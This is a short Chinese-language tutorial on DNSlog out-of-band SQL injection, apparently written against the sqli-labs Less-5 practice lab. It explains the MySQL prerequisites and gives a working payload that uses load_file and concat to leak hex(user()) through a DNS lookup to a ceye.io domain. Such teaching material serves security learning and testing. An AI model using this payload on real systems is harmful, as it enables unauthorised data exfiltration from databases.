dnslog注入
0x01:概念
如上图所示,攻击者提交注入语句,让数据库将需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就可以得到想要的值。所以我们需要 一个可用的域名,然后在域名商处配置一条NS记录, 然后我们在NS服务器上面获取DNS日志即可。这里直接使用 ceye.io 平台。
0x02:适用范围
SQL注入中的盲注
无回显的命令执行
无回显的SSRF
0x03:利用方法
MySQL
MySQL是用dnslog最多的,也是最常见的一种数据库,且MySQL只能在windows宿主机中才能利用dnslog注入。且MySQL中的secure_file_priv 项需要为空,这样load_file()才能读取磁盘文件。为NULL不能读取磁盘文件,指定盘符只能读取指定盘符的文件,而默认secure_auth、secure_file_priv是关闭的。
所以为了接下来的实验,必须开启secure_file_priv
首先查看状态 show variables like '%secure%';
更改my.ini配置,(my.ini使用 select @@basedir; 查找)
增加两条配置:
secure_file_priv=
secure_auth=on
在MySQL中,load_file函数可以用来读取本地的文件。
http://ceye.io/ 配置只需要注册即可获得一个二级域名。
以sqli的less5为例:获取user()
payload:?id=1' and if((select load_file(concat('\\',(select hex(user())),'.xxxxxx.ceye.io\abc'))),1,0)--+ //这里使用hex()包裹user()函数,是因为有特殊字符传输,可能信息丢失,所以使用hex()函数处理。
然后到ceye.io日志查看
这部分值便是dns注入外带出的值。